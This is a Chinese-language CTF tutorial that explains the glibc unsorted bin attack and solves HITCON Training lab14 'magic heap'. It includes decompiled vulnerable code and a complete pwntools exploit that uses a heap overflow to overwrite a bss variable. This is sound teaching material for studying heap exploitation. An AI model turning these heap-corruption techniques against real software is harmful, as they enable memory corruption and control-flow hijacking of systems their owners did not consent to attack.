Unsorted Bin Attack 总结

Unsorted Bin Attack 原理

Unsorted Bin Attack的攻击效果是可以将任意地址改为一个较大的数值。

Ptmalloc 中Unsorted Bin 的存取

Unsorted bin 位于bin数组下标1处。Unsorted bin只有一个链表,是一个双链表,采用先进先出的存取机制。Unsorted bin中的空闲chunk都处于乱序的状态。

Unsorted Bin 中chunk的存放

  1. 当一个较大的chunk被分割成两半之后,如果剩下的部分大于MINSIZE,会被放入到Unsorted bin中。
  2. 释放一个不属于fastbin的chunk,并且该chunk不和top相邻,会被放入Unsorted bin中。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

Unsorted Bin 中chunk的使用

  1. Unsorted Bin的遍历顺序是FIFO,即插入的时候是在表头,取出的时候从链表尾拿取。
  2. 在malloc的时候,如果是在libc版本<2.26的情况下,如果在fastbin,small bin中找不到对应大小的chunk时,会尝试在Unsorted Bin中遍历,在这个过程中,如果找到对应大小的chunk,则会直接返回给用户。否则会将这些chunk插入对应的bin中;在libc2.26之后,引入tcache内存管理机制,如果申请的chunk的大小不在fastbin范围内,并且在tcache中找不到对应大小的堆块,会尝试在Unsorted Bin中寻找,在遍历的过程中,就算找到符合大小的堆块也不会立即返回。会将找到的符合的chunk放入对应tcache bin中直到bin中chunk的个数达到上限7,或者Unsorted Bin遍历结束。在Unsorted Bin遍历结束之后会,若之前找到至少一个符合大小的chunk,返回tcache bin中的最后一个,否则返回null。

原理

在将一个unsorted bin取出的,会将bck->fd的位置写入unsorted bin的地址

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

unsorted_chunks (av)是unsorted bin链表的头节点,unsorted_chunks (av)->bk指向的是unsorted bin的链表尾的chunk。若能控制bk的值,就能将unsorted_chunks (av)写到任意地址。

实例:HITCON Training lab14 magic heap

这道题的最终目标是控制程序将magic的值改成一个很大的数,以便执行l33t()得到flag。

题目基本信息

1
2
3
4
5
6
7
8
9
root@a7f3b80cb67c:/home/docker/pwnable/HITCON_Training_lab14_magic_heap# file magicheap.dms
magicheap.dms: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1, not stripped
root@a7f3b80cb67c:/home/docker/pwnable/HITCON_Training_lab14_magic_heap# checksec magicheap.dms
[*] '/home/docker/pwnable/HITCON_Training_lab14_magic_heap/magicheap.dms'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到这是一个64位动态链接的可执行程序,开启了canary和nx保护。

程序基本逻辑

程序主要有三个功能:创建、编辑和删除一个堆块。

1
2
3
4
int l33t()
{
return system("cat ./flag");
}

程序最终要执行到这个函数得到flag。

在mian函数中的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ( choice > 3 )
{
if ( choice == 4 )
exit(0);
if ( choice == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}

要能执行到l33t()函数,要保证magic变量的值大于0x1305。magic变量存储在bss段

1
2
3
4
.bss:00000000006020C0 magic           dq ?                    ; DATA XREF: main:loc_400D05↑r
.bss:00000000006020C8 align 20h
.bss:00000000006020E0 public heaparray
.bss:00000000006020E0 ; void *heaparray[10]

根据unsorted bin 的攻击效果,就是将任意地址改成一个很大的值,所以这里可以利用unsorted bin attack,将magic地址的值改成unsorted_chunks (av),unsorted_chunks (av)值肯定比0x1305大。

存在漏洞的函数是edit函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
size_t size; // ST08_8
int index; // [rsp+4h] [rbp-1Ch]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
index = atoi(&buf);
if ( index < 0 || index > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[index] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
size = atoi(&buf); // 存在任意长度堆溢出,这里没有对size进行限制
printf("Content of heap : ", &buf);
read_input(heaparray[index], size);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}

根据指定的索引编辑对应的堆块若堆块不为空的情况下,根据用户输入的大小来读取数据,这里存在任意长度堆溢出。可以通过这里的堆溢出,修改unsorted bin中对应堆块的bk指针位&magic-0x10。最后可以将magic = unsorted_chunks (av)。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

context.terminal = ['tmux','split','-h']
context(os='linux', arch='amd64', log_level='debug')
p = process('./magicheap.dms')

def create(size,data):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap :')
p.sendline(str(size))
p.recvuntil('Content of heap:')
p.sendline(data)

def edit(index,size,data):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap :')
p.sendline(str(size))
p.recvuntil('Content of heap :')
p.sendline(data)

def delete(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))


def exp():
magic_addr = 0x00000000006020C0
bk = magic_addr-0x10

create(0x20,'aaaa')#chunk 0
create(0x80,'bbbb')#chunk 1
create(0x20,'cccc')#chunk 2 ,avoid to merge into top chunk

delete(1)#put chunk 1 into unsorted bin

#edit chunk0 to overwrite chunk1'bk
playload = "a"*0x20+p64(0)+p64(0x91)+p64(0)+p64(bk)

edit(0,0x40,playload)

create(0x80,'unsorted bin attack')

p.recvuntil(':')
p.sendline('4869')
p.interactive()

if __name__ == "__main__":
exp()

reference

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack-zh/